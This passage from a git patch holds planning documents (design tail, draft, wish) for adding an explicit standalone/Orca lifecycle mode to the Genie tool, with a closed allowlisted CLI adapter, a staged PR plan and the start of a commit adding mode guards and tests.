with side effects. In Orca mode tests snapshot existence and bytes before calls and prove no file, +temporary file, rename, lock, or timestamp change occurs. Both barriers are defense in depth: entrypoints +return friendly errors, while the low-level seams make omissions safe. + +Mode switches are explicit, validated, backup-first, atomic, and idempotent. Switching to Orca preflights the +packaged plugin and compatible CLI before committing config. Switching to standalone requires explicit user +intent and does not import Orca state. A failed preflight leaves the prior config and authority unchanged. + +## MCP retirement and lifecycle sequencing + +MCP retirement is the final implementation change. It occurs only after standalone lifecycle preservation, +Orca mode barriers, plugin packaging and real-runtime smoke, install/update/rollback/uninstall and mode-switch +fixtures, release inventory and every supported tarball check, and operator/contributor documentation have +landed and are green. Its slim PR removes only the server, tools, launchers, and registrations with Genie +ownership proof, updates the already-landed migration documentation, and leaves release mechanics to the +preceding packaging PR. An old `genie mcp` invocation returns a stable deprecation diagnostic and non-zero +exit; it does not start a compatibility server. Upgrade and rollback fixtures prove that unrelated MCP +registrations and user configuration survive. + +Install and update stage payloads, verify versions and inventory, preflight the selected mode, then atomically +activate. Rollback restores the prior Genie-owned payload/config snapshot. Uninstall removes only owned files +and registrations and never deletes lifecycle data from either authority. Plugin and marketplace versions +match `package.json`; stable remains the default channel and every supported release tarball is built and +inspected before promotion. + +## Decisions + +| # | Decision | Rationale | +|---|----------|-----------| +| 1 | `standalone` is the default; `orca` is explicit. | Existing installs do not change authority because Orca happens to be present. | +| 2 | Enforce Orca mode before DB open and roadmap write. | Command hiding alone cannot stop indirect initialization or sync side effects. | +| 3 | Refuse local lifecycle reads as well as writes in Orca mode. | Stale reads present a competing source of truth. | +| 4 | Use a compiled subset of official `orca orchestration` argv. | A finite positive boundary is reviewable and excludes generic execution. | +| 5 | Always use no-shell spawn and adapter-owned final `--json`. | Callers cannot append flags or turn data into a program. | +| 6 | Resolve one runtime candidate and never fall through. | Failure cannot silently target a different installation or trust boundary. | +| 7 | Require receipts and public read-back where available. | Exit zero alone does not prove the intended durable mutation. | +| 8 | Never auto-retry ambiguous mutations. | A timeout may have occurred after Orca committed the operation. | +| 9 | Keep no plugin lifecycle store or local fallback. | Orca is the sole lifecycle authority in Orca mode. | +| 10 | Retire MCP only after replacement parity is demonstrated. | Sequencing protects standalone users while eliminating the obsolete surface. | + +## Simplicity case + +- **Simplest complete design:** two modes, two low-level barriers, and one finite CLI adapter. Orca owns its + state; standalone Genie owns its existing state. +- **Required machinery:** schemas prevent injection; bounded execution prevents hung/oversized responses; + receipts and read-backs prevent false success; backup-first transitions preserve user-owned config. +- **Deferred until measured:** remote routing, configurable allowlists/timeouts, retries, caches, native APIs, + schedulers, and synchronization. A future native Orca API is reconsidered only after it is public, stable, + and passes the same contract suite. +- **Removed complexity:** no daemon, polling loop, generic runner, mirror database, fallback board, migration + protocol, Linear bridge, or model matrix. + +## Success criteria + +- [ ] In isolated `GENIE_HOME` fixtures, absent and explicit `standalone` modes preserve all current task, + board, and roadmap success/error/idempotency behavior. +- [ ] In `orca` mode, every lifecycle DB route fails before DB/WAL/SHM creation or migration; fixtures prove + no local lifecycle file appears or changes. +- [ ] In `orca` mode, roadmap sync/export/write routes return the typed refusal and leave existence, bytes, + metadata, temp files, and locks unchanged. +- [ ] Every emitted process invocation is an allowlisted `orca orchestration` argv vector ending in exactly + one `--json`, uses `shell: false`, and cannot accept raw argv, unknown flags, `dispatch`, `--inject`, a + terminal-send surface, internal RPC, or a private API. +- [ ] Each allowlisted verb has schema, exact argv, success envelope, non-zero exit, malformed/unexpected + JSON, timeout, output-cap, resolution, receipt, and applicable read-back tests; negative argv fixtures for + every row reject terminal, setup/placement, routing/impersonation, executable override, raw-argv, recovery, + caller-`--json`, and unknown inputs before spawn. +- [ ] Public contract probes specifically prove `run-use` with `run-current` (requested Run ID and attested + invoking-terminal binding), `gate-resolve` with `gate-list` + plus `--task`, and `worker-release` with `worker-show`; a missing public proof field makes that mutation + incompatible unless a later narrow design amendment documents the absence and receipt-only exception. +- [ ] A packaged-plugin smoke against a real supported Orca runtime creates and reads back a disposable Run/ + Task flow; cleanup uses only allowed public operations. An unavailable/incompatible runtime creates no + Genie lifecycle state and returns a bounded typed error. +- [ ] `check --ack` tests accept only the bounded acknowledgement receipt with the exact requested delivery ID + and explicit acknowledged state, reject read/missing/mismatched receipts, and simulate timeout after commit to + prove the exact `ambiguous_after_possible_commit` error, no automatic retry, no claimed in-adapter recovery, + and guidance that only external or operator confirmation may justify a later acknowledgement attempt. +- [ ] Other post-spawn timeout/output/transport-loss tests prove there is no automatic mutation retry: receipt-only + mutations and creates lacking a valid identifying receipt return `ambiguous_after_possible_commit` with only + operator/external-confirmation guidance, while only mutations whose exact identifiers were independently known + before launch may name and perform their table-defined exact public read-back before another mutation. +- [ ] `genie mcp` and Genie-owned MCP wiring are retired with a stable non-zero diagnostic; standalone CLI + parity remains green and no hidden MCP compatibility server starts. +- [ ] Fresh install, update, interrupted update, rollback, uninstall, and both mode switches are repeatable + and preserve user config, existing Genie data, non-Genie registrations, and all Orca records. +- [ ] Manifests, marketplace, release inventory, `VERSION`, `package.json`, and every supported tarball are + version-consistent; `doctor` reports mode, resolved runtime, compatibility, and recovery without mutation. +- [ ] Each implementation PR targets `automagik-dev/genie:dev`, follows TDD, passes focused tests plus + `bun run check`, receives independent review on the exact commit, and has attached CI evidence. + +## Independently shippable PR decomposition + +Each PR starts from then-current `origin/dev`, has one owner, and is independently reviewable. Dependencies +are shallow; no PR mixes the dirty v6 evidence or unrelated roadmap/Khal changes. + +1. **A0 — canonical planning set and evidence gate (complete):** the four canonical planning documents — + `DRAFT.md`, this `DESIGN.md`, `WISH.md`, and the `INDEX.md` entry — were reconciled as one docs-only set, + independently reviewed, digest-stamped, and approved. This approved WISH and A0 decomposition are the current + planning lifecycle and authorize the dependency-gated A1–A7 execution sequence. +2. **A1 — mode schema and authority barriers:** config/resolver, DB pre-open guard, roadmap pre-write guard, + typed diagnostic, and standalone/Orca negative fixtures. Depends only on approved and stamped A0. +3. **A2 — closed Orca CLI adapter:** schemas, argv table, runtime resolution, bounded runner, errors, + receipts/read-backs, and hermetic fake-process tests. Depends only on approved and stamped A0 and can + proceed beside A1. +4. **A3 — plugin payload and real-runtime smoke:** manifests/marketplace, adapter wiring, compatibility probe, + and disposable Run/Task smoke. Depends on A2; does not own install transitions. +5. **A4 — lifecycle preservation and transitions:** standalone parity plus install/update/rollback/uninstall, + mode switching, ownership-preserving fixtures, and `doctor`. Depends on A1 and A3; does not remove MCP or + change release inventory. +6. **A5 — packaging and release artifacts:** version-consistent manifests/marketplace, release inventory, and + build/inspection of every supported tarball. Depends on A3 and A4; does not remove MCP or rewrite docs. +7. **A6 — operator and contributor documentation:** mode selection, recovery, compatibility, upgrade, + rollback, and planned MCP-retirement guidance. Depends on A4 and A5; documentation only. +8. **A7 — MCP retirement:** remove the Genie MCP runtime and proved-owned registrations, retain the stable + retired diagnostic, update only retirement-specific documentation, and rerun standalone/release parity. + Depends on A1 through A6 and is independently revertible; no lifecycle, packaging, or release mechanism is + introduced in this PR. + +For code PRs, write a failing focused test first, implement the minimum contract, run the narrow suite, then +run `bun install --frozen-lockfile`, `bun run check`, affected release/smoke tests, and PR CI. An engineer's +self-check is not independent review: a separate read-only reviewer evaluates the immutable commit and cites +its SHA. Fixes receive a fresh review; release promotion remains a separate explicit authorization. + +## Risks and assumptions + +| # | Risk or assumption | Severity | Mitigation / falsifier | +|---|--------------------|----------|-------------------------| +| 1 | The packaged plugin host may forbid child processes. | High | A3 probes the real host; fail `unsupported_environment`, never change transport. | +| 2 | Orca CLI grammar or envelopes drift. | High | Manifest compatibility range, exact contract fixtures, live smoke, fail closed on unknown shapes. | +| 3 | A writable Genie path bypasses mode routing. | High | Guard low-level seams and independently inventory all DB/roadmap callers in A1 review. | +| 4 | Timeout/output/transport loss hides a committed mutation. | High | No automatic retry or inferred identity; exact read-back only for an identifier known before launch, otherwise report operator-confirmed ambiguity. | +| 5 | Install/uninstall adopts or removes user-owned state. | High | Ownership proof, backups, atomic transitions, isolated-home fixtures, narrow deletion inventory. | +| 6 | MCP retirement breaks an unrecorded client. | Medium | Inventory first, parity gate retirement, retain explicit diagnostic and rollback path. | +| 7 | Runtime resolution reaches the wrong Orca installation. | Medium | One documented platform choice, validate host override, no candidate fallback, report resolved version. | +| 8 | Dirty v6/Corpo Leve assumptions leak into delivery. | Medium | Every PR starts clean from `origin/dev`; design rejects typed host API, Linear, and named models. | + +## Next step + +The approved WISH and A0 decomposition are the current plan. A0's canonical-document evidence gate is complete; +A1 mode guards and A2 adapter work are the next authorized groups and may proceed in parallel, followed by the +dependency-gated A3–A7 sequence. + +<!-- genie-design-review:start --> +## Design Review Evidence + +- **Verdict:** SHIP +- **Reviewed content SHA-256:** `2499668e81fe3d3f3f7f15bac0246c3e0647a036e9441fa882dcf6a8ecb92bf9` +- **Reviewer:** term_6c98a3c8-7ac8-4274-a8e9-ade35e2d82dd +- **Reviewed at:** 2026-08-29T18:13:16Z +<!-- genie-design-review:end --> diff --git a/.genie/brainstorms/genie-dual-mode-orca-plugin/DRAFT.md b/.genie/brainstorms/genie-dual-mode-orca-plugin/DRAFT.md new file mode 100644 index 000000000..64608fe17 --- /dev/null +++ b/.genie/brainstorms/genie-dual-mode-orca-plugin/DRAFT.md @@ -0,0 +1,18 @@ +# Brainstorm: Genie dual-mode Orca plugin + +**Status:** APPROVED — independent review SHIP at `2026-08-29T18:13:16Z`. + +Option A preserves Genie's current standalone lifecycle while adding an explicit Orca mode in which Orca is +the sole lifecycle authority. The current design fixes the boundary at Orca's public +`orca orchestration ... --json` CLI, rejects local lifecycle fallback or mirroring, and retires Genie MCP only +after authority guards, adapter parity, plugin lifecycle, packaging, and documentation are green. + +This DRAFT, [DESIGN.md](DESIGN.md), [WISH.md](../../wishes/genie-dual-mode-orca-plugin/WISH.md), and the +[INDEX entry](../../INDEX.md) are the four canonical planning documents. Current reviewable DESIGN SHA-256 +`2499668e81fe3d3f3f7f15bac0246c3e0647a036e9441fa882dcf6a8ecb92bf9` was independently reviewed SHIP by +`term_6c98a3c8-7ac8-4274-a8e9-ade35e2d82dd` at `2026-08-29T18:13:16Z`; the four-document plan is approved and +A1–A7 are authorized in the recorded dependency order. The earlier 2026-08-29 SHIP review by +`term_fb7838bc-745e-45ba-9d62-becc5d842e07` at `2026-08-29T17:57:45Z` covered superseded digest +`1b8b6c034310fab2699214866893658a4c041d9269a971bb685d57bc359f7dfe` and is retained only as historical +evidence; it does not approve the current four-document set. Historical v6/Corpo Leve artifacts are evidence, +not implementation input. diff --git a/.genie/wishes/genie-dual-mode-orca-plugin/WISH.md b/.genie/wishes/genie-dual-mode-orca-plugin/WISH.md new file mode 100644 index 000000000..923feee23 --- /dev/null +++ b/.genie/wishes/genie-dual-mode-orca-plugin/WISH.md @@ -0,0 +1,395 @@ +# Wish: Genie dual-mode Orca plugin — Option A + +| Field | Value | +|-------|-------| +| **Status** | APPROVED — independent review SHIP at `2026-08-29T18:13:16Z` | +| **Slug** | `genie-dual-mode-orca-plugin` | +| **Date** | 2026-08-29 | +| **Author** | Codex wish author | +| **Appetite** | large | +| **Branch** | `wish/genie-dual-mode-orca-plugin` | +| **Repos touched** | `automagik-dev/genie` | +| **Design** | [DESIGN.md](../../brainstorms/genie-dual-mode-orca-plugin/DESIGN.md) | + +## Summary + +Add an explicit dual-mode lifecycle contract: standalone mode remains backward compatible, while Orca mode +makes Orca the sole lifecycle authority through a closed, schema-validated public CLI adapter. Ship the plugin, +its lifecycle and release support, and documentation before retiring the superseded Genie MCP surface. + +## Scope + +### IN + +- Global `orchestration.mode` schema with `standalone` default and one central resolver. +- Fail-closed pre-open lifecycle-DB and pre-write roadmap barriers covering direct and indirect writable paths. +- Genie-owned Orca plugin using only allowlisted `orca orchestration <verb> ... --json` argv with `shell: false`. +- Closed input, output, receipt, read-back, timeout, output-cap, runtime-resolution, and typed-error contracts. +- Plugin manifests/marketplaces, compatibility probe, real-runtime smoke, install/update/rollback/uninstall, explicit + mode switching, ownership-safe cleanup, `doctor`, release inventory, supported tarballs, and user/contributor docs. +- Parity-first retirement of `genie mcp` and only registrations proven Genie-owned, with a stable retired diagnostic. + +### OUT + +- Typed/private Orca host APIs, internal RPC, direct Orca DB access, Orca forks, or terminal injection. +- Shell strings, caller-selected executables/argv/flags, generic process runners, or configurable allowlists. +- Local fallback, mirrors, caches, queues, retry ledgers, background synchronization, or a second lifecycle store. +- Migration or deletion of existing lifecycle history; Linear, telemetry, daemon, or named-model requirements. +- Source implementation, board/global-DB mutation, release promotion, or PR creation as part of this planning wish. + +## Decisions + +| # | Decision | Rationale | +|---|----------|-----------| +| 1 | `standalone` is default; Orca mode is explicit. | Existing users retain behavior and authority changes remain intentional. | +| 2 | Guard DB pre-open and roadmap pre-write seams. | Low-level barriers make a missed caller fail closed before mutation. | +| 3 | Refuse authoritative local reads and writes in Orca mode. | Stale reads create a competing source of truth. | +| 4 | Use a compiled CLI grammar and platform spawn with `shell: false`. | This is the public boundary and removes injection extension points. | +| 5 | Require validated receipts and public read-backs where available. | Exit zero alone cannot prove an authoritative mutation. | +| 6 | Keep no fallback or lifecycle state in the plugin. | Orca remains sole authority when selected. | +| 7 | Retire MCP last in a slim, revertible PR. | Parity, lifecycle, packaging, and migration docs must land first. | + +## Simplicity Case + +- **Simplest complete design:** one two-value mode, two low-level authority barriers, and one stateless adapter over a + finite public CLI table; standalone behavior is otherwise unchanged. +- **Added machinery:** schemas, bounded process execution, receipts/read-backs, lifecycle transitions, and packaging + proof are presently required by the trust boundary, deterministic failure contract, safe ownership, and releases. +- **Deferred until measured:** no caches, retries, remote protocol, configurable allowlist, or background coordination; + a new verb requires a design amendment plus schema/argv/response and threat-review evidence. +- **Complexity removed:** no daemon, mirror, dual-write, migration, typed host integration, arbitrary runner, Linear + dependency, or model routing policy. + +## Dependencies + +**depends-on:** none +**blocks:** none + +## Success Criteria + +- [ ] Omitted config resolves to `standalone`; only `standalone | orca` validates, and malformed config fails clearly. +- [ ] In Orca mode every lifecycle DB path refuses before DB/WAL/SHM creation or migration, and every roadmap write + refuses before file change; direct and indirect task/board/sync/export/former-MCP fixtures prove both invariants. +- [ ] Standalone focused and full regression suites retain the approved compatibility contract. +- [ ] Every approved verb has exact positive argv and negative schema/flag-shaped-input tests; unlisted verbs, + terminal/routing/placement flags, raw argv, caller `--json`, malformed data, and shell evaluation fail pre-spawn. +- [ ] Runtime selection is deterministic; execution is bounded; stdout is one valid envelope; errors are typed; mutation + read-backs prove identity and immutable fields wherever the public CLI offers a read path. A post-spawn timeout, + output-limit, or transport failure before a valid receipt supplies a newly created ID never triggers inferred + entity lookup or retry: receipt-only mutations and unidentified creates return `ambiguous_after_possible_commit` + for operator/external confirmation, and only an identifier known before launch permits its exact table-defined read. +- [ ] A packaged-plugin smoke against supported real Orca creates and reads back a disposable Run/Task without changing + local Genie lifecycle state; an unsupported host fails `unsupported_environment` without fallback. +- [ ] Install/update/rollback/uninstall and mode switches preserve user config/history, touch only Genie-owned + registrations, are idempotent and backup-first where applicable, and expose truthful `doctor` diagnostics. +- [ ] Plugin/marketplace/package/VERSION versions agree; release inventory is complete; every supported tarball builds + and passes content/installation verification with stable remaining the default channel. +- [ ] Docs cover selection, authority, recovery, compatibility, upgrade, rollback, uninstall, unsupported environments, + and MCP retirement without private APIs or obsolete v6 assumptions. +- [ ] MCP runtime/tools/launchers and proved-owned registrations are removed only in A7; legacy invocation exits non-zero + with its stable diagnostic while standalone and release parity remain green. +- [ ] Each implementation PR targets `automagik-dev/genie:dev`, starts from then-current dev, attaches exact-head CI and + independent review evidence, and receives a fresh independent review after fixes. + +## Execution Strategy + +There is no stacked-PR requirement. Each PR branches from then-current `dev`; a semantic dependency must merge first, +then the dependent branch rebases or is recreated on updated `dev`. A0 is the docs-only commit containing the +canonical DRAFT, DESIGN, WISH, and INDEX entry plus SHIP evidence for current reviewable DESIGN digest +`2499668e81fe3d3f3f7f15bac0246c3e0647a036e9441fa882dcf6a8ecb92bf9`; fresh independent review and a valid +digest stamp approve its documentation set and authorize all later work. After that gate, A1 and A2 can run in parallel and be green +against dev independently. A3 is independently green after A2; A4 after A1+A3; A5 after A3+A4; A6 after A4+A5; A7 +after A1–A6. The merge graph, not cross-branch imports, supplies required semantics. + +### Wave 0 (authoritative plan) + +| Group | Agent | Complexity | Model | Description | +|-------|-------|------------|-------|-------------| +| A0 | wish author + independent reviewer | 1 — documentation contract | engineer-trivial / low | Commit the four canonical docs; fresh review stamped the current DESIGN digest before implementation. | + +### Wave 1 (parallel after A0 merges) + +| Group | Agent | Complexity | Model | Description | +|-------|-------|------------|-------|-------------| +| A1 | engineer + independent reviewer | 4 — stateful authority boundary | engineer-complex / high | Mode resolver, DB/roadmap barriers, parity fixtures. | +| A2 | engineer + independent reviewer | 4 — security-sensitive process boundary | engineer-complex / high | Closed adapter, schemas, runner, receipts, hermetic tests. | + +### Waves 2–6 (semantic merge order) + +| Wave | Group | Agent | Complexity | Model | Description | +|------|-------|-------|------------|-------|-------------| +| 2 | A3 | engineer + independent reviewer | 4 — plugin/runtime integration | engineer-complex / high | Plugin payload, compatibility probe, real-runtime smoke. | +| 3 | A4 | engineer + independent reviewer | 5 — lifecycle transitions | engineer-complex / high | Standalone preservation, transitions, ownership, doctor. | +| 4 | A5 | engineer + independent reviewer | 3 — package/release boundary | engineer-standard / high | Manifests, inventory, tarballs, release checks. | +| 5 | A6 | docs engineer + independent reviewer | 2 — cross-surface docs | engineer-standard / medium | Operator/contributor and retirement guidance. | +| 6 | A7 | engineer + independent reviewer + final gate | 5 — retirement/release parity | engineer-complex / high + final-gate | MCP retirement last and full cleanup proof. | + +For A1–A7, use TDD: failing focused test, minimum implementation, narrow proof, repository gates, exact-head PR CI. +The implementer cannot provide independent review. Findings are fixed on the same PR and reviewed again; CI and review +evidence attach to the final SHA. Release promotion remains separately authorized and is not performed by these groups. + +## Execution Groups + +### Group A0: Canonical plan documents approved by fresh review + +**Goal:** Make the current Option-A design and executable plan canonical without operational state changes, then +obtain fresh independent design review and digest stamping before approval or implementation. + +**Deliverables:** +1. Approved `DRAFT.md`, `DESIGN.md`, `WISH.md`, and canonical `INDEX.md` entry; digest-bound evidence records the + fresh independent review of the exact committed four-document set. +2. Docs-only canonical four-document candidate whose exact state can be reviewed before A1–A7 implementation begins. + +**Acceptance Criteria:** +- [x] Fresh independent review stamps current reviewable DESIGN SHA-256 + `2499668e81fe3d3f3f7f15bac0246c3e0647a036e9441fa882dcf6a8ecb92bf9`; evidence verification then passes and + all four canonical documents consistently record approval. +- [x] After fresh evidence is stamped, Wish and INDEX linters pass; the candidate diff contains only the four + canonical planning documents. + +**Validation:** +```bash +node skills/brainstorm/references/design-review-evidence.mjs verify .genie/brainstorms/genie-dual-mode-orca-plugin/DESIGN.md +bun run wishes:lint +git diff --check +``` + +**depends-on:** none + +--- + +### Group A1: Mode schema and authority barriers + +**Goal:** Make lifecycle authority explicit and make local lifecycle state unreachable in Orca mode before mutation. + +**Deliverables:** +1. Global config schema/resolver and stable typed refusal. +2. DB pre-open and roadmap pre-write barriers with complete caller inventory and isolated fixtures. + +**Acceptance Criteria:** +- [ ] Standalone default/parity and invalid-mode diagnostics are tested. +- [ ] Orca fixtures prove no DB/WAL/SHM or roadmap creation/change through every direct and indirect entrypoint. + +**Validation:** +```bash +bun test src +bun install --frozen-lockfile +bun run check +``` + +**depends-on:** A0 + +--- + +### Group A2: Closed Orca CLI adapter core + +**Goal:** Translate validated operations into a finite, safe public Orca CLI grammar with trustworthy results. + +**Deliverables:** +1. Per-verb schemas/argv, deterministic runtime resolution, bounded `shell: false` runner, and redacted typed errors. +2. Validated envelopes, receipts/read-backs, capability table, and exhaustive hermetic positive/negative fixtures. + +**Acceptance Criteria:** +- [ ] Every design table row emits exactly its documented argv and one final `--json`. +- [ ] Forbidden fields/flags and malformed/boundary inputs fail before spawn; transport/read-back failures are typed. +- [ ] Hermetic post-spawn failure fixtures prove no mutation retry or collection-based identity inference; receipt-only + mutations and creates without a valid identifying receipt return `ambiguous_after_possible_commit`, while only + mutations with an independently known identifier may issue their exact allowlisted public read-back. + +**Validation:** +```bash +bun test plugins/genie +bun install --frozen-lockfile +bun run check +``` + +**depends-on:** A0 + +--- + +### Group A3: Plugin payload and runtime proof + +**Goal:** Package the adapter as a Genie-owned Orca plugin and prove the supported host boundary end to end. + +**Deliverables:** +1. Plugin manifests/marketplace, adapter wiring, compatibility declaration, and child-process capability probe. +2. Plugin tests plus supported-real-runtime disposable Run/Task create/read-back smoke and cleanup. + +**Acceptance Criteria:** +- [ ] Packaged plugin exposes only approved semantics and carries no lifecycle store or fallback. +- [ ] Real-runtime smoke proves Orca authority/local-state non-mutation; unsupported hosts fail closed. + +**Validation:** +```bash +bun test plugins/genie +bun install --frozen-lockfile +bun run check +``` + +**depends-on:** A2 + +--- + +### Group A4: Lifecycle preservation, transitions, and doctor + +**Goal:** Make installation and authority transitions safe, idempotent, ownership-aware, and diagnosable. + +**Deliverables:** +1. Standalone parity plus install/update/rollback/uninstall and explicit mode-switch flows. +2. Backup/idempotency/ownership fixtures, transactional config commit after probe, and truthful `doctor`. + +**Acceptance Criteria:** +- [ ] Failure at every transition boundary preserves prior config, registrations, databases, roadmaps, and Orca records. +- [ ] Uninstall removes only Genie-owned plugin artifacts/registrations and never lifecycle history. + +**Validation:** +```bash +bun test src plugins/genie +bun install --frozen-lockfile +bun run check +``` + +**depends-on:** A1, A3 + +--- + +### Group A5: Packaging and release artifacts + +**Goal:** Make the complete dual-mode plugin reproducible and verifiable in every supported release artifact. + +**Deliverables:** +1. Version-consistent manifests/marketplaces/VERSION/package metadata and release inventory. +2. Build and content/install verification for every supported tarball; stable remains default. + +**Acceptance Criteria:** +- [ ] Version/inventory checks fail on drift or missing payload. +- [ ] Every supported tarball builds and verifies from a clean environment. + +**Validation:** +```bash +bun install --frozen-lockfile +bun run check +bun test scripts/release-payload-version.test.ts scripts/verify-release.test.ts scripts/release-docs.test.ts +for platform in linux-x64-glibc linux-x64-musl linux-arm64 darwin-arm64; do + bash scripts/build-binary.sh --platform "$platform" --version "$(tr -d '\n' < VERSION)" + bash scripts/verify-release.sh --local "dist/genie-$(tr -d '\n' < VERSION)-$platform.tar.gz" +done +``` + +**depends-on:** A3, A4 + +--- + +### Group A6: Operator and contributor documentation + +**Goal:** Give users and maintainers complete, testable guidance for dual-mode authority. + +**Deliverables:** +1. Operator guidance in `README.md` for mode selection, authority, compatibility, recovery, upgrade, rollback, + uninstall, unsupported hosts, and the planned MCP-retirement migration. +2. Contributor guidance in `plugins/genie/references/orca-orchestration.md` for the threat boundary and + verb-amendment process, plus mirrored/plugin links from the operator surface. +3. Extend `scripts/release-docs.test.ts` with a targeted dual-mode documentation contract that reads both files and + asserts the required operator/contributor topics and public-only examples. + +**Acceptance Criteria:** +- [ ] Examples match shipped CLI and contain no private APIs, terminal injection, fallback, or v6 assumptions. +- [ ] The targeted release-docs test fails when either named documentation surface or a required topic disappears; + links, plugin mirrors, generated docs if any, and recovery rituals also validate. + +**Validation:** +```bash +bun test scripts/release-docs.test.ts +bun run wishes:lint +bun run check +``` + +**depends-on:** A4, A5 + +--- + +### Group A7: MCP retirement and lifecycle cleanup + +**Goal:** Remove superseded Genie MCP only after dual-mode parity and migration support are proven. + +**Deliverables:** +1. Remove MCP server/tools/launchers and proved-owned registrations; keep stable non-zero retired diagnostic. +2. Retirement docs, stale-reference inventory, both-mode regression, tarball, and uninstall cleanup proof. + +**Acceptance Criteria:** +- [ ] No Genie MCP runtime ships or registers; unowned config and lifecycle history stay untouched. +- [ ] Full gates, tarballs, both-mode parity, migration docs, and exact-head CI pass after removal. + +**Validation:** +```bash +bun install --frozen-lockfile +bun run check +bun test +bun test scripts/release-payload-version.test.ts scripts/verify-release.test.ts scripts/release-docs.test.ts +for platform in linux-x64-glibc linux-x64-musl linux-arm64 darwin-arm64; do + bash scripts/build-binary.sh --platform "$platform" --version "$(tr -d '\n' < VERSION)" + bash scripts/verify-release.sh --local "dist/genie-$(tr -d '\n' < VERSION)-$platform.tar.gz" +done +``` + +**depends-on:** A1, A2, A3, A4, A5, A6 + +--- + +## QA Criteria + +- [ ] On dev, clean standalone preserves task/board/sync behavior and needs no Orca runtime. +- [ ] On dev, explicit Orca mode completes disposable real-runtime Run/Task proof with no local lifecycle mutation. +- [ ] Install → update → rollback → uninstall and mode transitions preserve user-owned data and recover cleanly. +- [ ] Every supported tarball installs, reports compatible versions/doctor state, and contains no MCP runtime after A7. +- [ ] Legacy `genie mcp` returns the documented stable non-zero retirement diagnostic. + +--- + +## Assumptions / Risks + +| Risk | Severity | Mitigation | +|------|----------|------------| +| Plugin host forbids child processes. | High | A3 probes it and fails `unsupported_environment`; do not change transport. | +| Public response lacks a required proof field. | High | Treat mutation as unsupported until the public contract proves it. | +| A writable local path bypasses routing. | High | Guard low-level seams and independently review A1's caller inventory. | +| Cleanup removes user-owned config. | High | Ownership markers, backup-first fixtures, and failure injection. | +| Parallelism becomes an accidental stack. | Medium | Merge prerequisites, rebase dependents on dev, never import sibling branches. | +| Release payload drifts. | Medium | Version/inventory assertions and clean-build verification in A5/A7. | + +--- + +## Review Results + +- **Current canonical plan — SHIP:** independent reviewer `term_6c98a3c8-7ac8-4274-a8e9-ade35e2d82dd` reviewed + reviewable DESIGN content SHA-256 `2499668e81fe3d3f3f7f15bac0246c3e0647a036e9441fa882dcf6a8ecb92bf9` + at `2026-08-29T18:13:16Z`. The exact four-document set is approved and A1–A7 are authorized in the recorded DAG. +- **Superseded historical review:** independent reviewer `term_fb7838bc-745e-45ba-9d62-becc5d842e07` returned SHIP + at `2026-08-29T17:57:45Z` for reviewable DESIGN content SHA-256 + `1b8b6c034310fab2699214866893658a4c041d9269a971bb685d57bc359f7dfe` and the then-current plan. That factual + record is retained as history but does not approve or verify the current digest or current four-document set. +- **Earlier historical plan-review provenance:** on 2026-08-29 at 17:04 UTC, independent reviewer + `term_62af8174-811d-4720-911e-a2891f6a0698` accepted the prior plan at + reviewed commit `57a732da11de9d0816afd3e51cb7c05056ec04f4`, including design digest + `dbc9f025e10ceba93b424fcf7fe0d38203c1fb82f5d94a980b9a8614d67d0c4d`. The later P1 contract correction means + that evidence does not approve or verify the approved current design and plan recorded above. +- **Historical baseline receipt for the unrelated release-assets timeout:** reviewed commit `57a732da11de9d0816afd3e51cb7c05056ec04f4` + and its baseline parent `3c17272fc7c9a0f3c85f3feab28f80aec3f5ce06` contain the byte-identical + `scripts/reconcile-release-assets.test.ts` Git blob `698fdc3334cf5271702d621d533f029775c0021c`. The exact focused command + `bun test scripts/reconcile-release-assets.test.ts` produced **2 fail / 3 pass / exit 1** on both trees: the empty-draft + case exceeded its 5,000 ms timeout (the subprocess returned exit code 3 before the assertion), and the selected-channel + fanout case exceeded its 15,000 ms timeout. Because the failing test bytes and focused outcome were unchanged from the + immutable baseline, the reviewer classified the timeout as pre-existing/environmental rather than an Option-A + planning-doc regression. + +--- + +## Files to Create/Modify + +```text +A0: .genie/brainstorms/genie-dual-mode-orca-plugin/{DESIGN.md,DRAFT.md} + .genie/wishes/genie-dual-mode-orca-plugin/WISH.md + .genie/INDEX.md +A1–A7: exact source/test/plugin/release/doc paths are resolved from then-current dev; each PR records actual files and + keeps ownership disjoint before execution. +``` From 80f3f88eaa9a2004ecc327e4b3af3f69034dd8d3 Mon Sep 17 00:00:00 2001 From: Felipe Rosa <felipe@namastex.ai> Date: Sat, 29 Aug 2026 18:45:09 +0000 Subject: [PATCH 04/45] feat: add strict Orca lifecycle mode guards (#2808) * feat: guard local lifecycle in orca mode * fix: fail closed on invalid orchestration authority * fix: reject unknown orchestration authority keys * fix: require explicit orchestration mode --- src/lib/orchestration-mode.test.ts | 82 +++++++++++ src/lib/orchestration-mode.ts | 59 ++++++++ src/lib/v5/authority-barriers.test.ts | 191 ++++++++++++++++++++++++++ src/lib/v5/genie-db.ts | 2 + src/lib/v5/mcp-tools.ts | 2 + src/lib/v5/roadmap-sync.ts | 6 + src/term-commands/context.ts | 2 + src/types/genie-config.ts | 5 + 8 files changed, 349 insertions(+) create mode 100644 src/lib/orchestration-mode.test.ts create mode 100644 src/lib/orchestration-mode.ts create mode 100644 src/lib/v5/authority-barriers.test.ts diff --git a/src/lib/orchestration-mode.test.ts b/src/lib/orchestration-mode.test.ts new file mode 100644 index 000000000..ac7aed709 --- /dev/null +++ b/src/lib/orchestration-mode.test.ts @@ -0,0 +1,82 @@ +import { afterEach, describe, expect, test } from 'bun:test'; +import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { GenieConfigSchema } from '../types/genie-config.js'; +import { + InvalidOrchestrationAuthorityError, + LocalLifecycleDisabledError, + assertLocalLifecycleEnabled, + resolveOrchestrationMode, +} from './orchestration-mode.js'; + +const originalGenieHome = process.env.GENIE_HOME; +const roots: string[] = []; + +function fixture(config?: unknown): string { + const root = mkdtempSync(join(tmpdir(), 'genie-orchestration-mode-')); + roots.push(root); + process.env.GENIE_HOME = join(root, '.genie-home'); + if (config !== undefined) { + mkdirSync(process.env.GENIE_HOME, { recursive: true }); + writeFileSync(join(process.env.GENIE_HOME, 'config.json'), JSON.stringify(config)); + } + return root; +} + +afterEach(() => { + if (originalGenieHome === undefined) process.env.GENIE_HOME = undefined; + else process.env.GENIE_HOME = originalGenieHome; + for (const root of roots.splice(0)) rmSync(root, { recursive: true, force: true }); +}); + +describe('orchestration authority mode', () => { + test('the config schema accepts exactly standalone and orca', () => { + expect(GenieConfigSchema.parse({}).orchestration.mode).toBe('standalone'); + expect(GenieConfigSchema.parse({ orchestration: { mode: 'orca' } 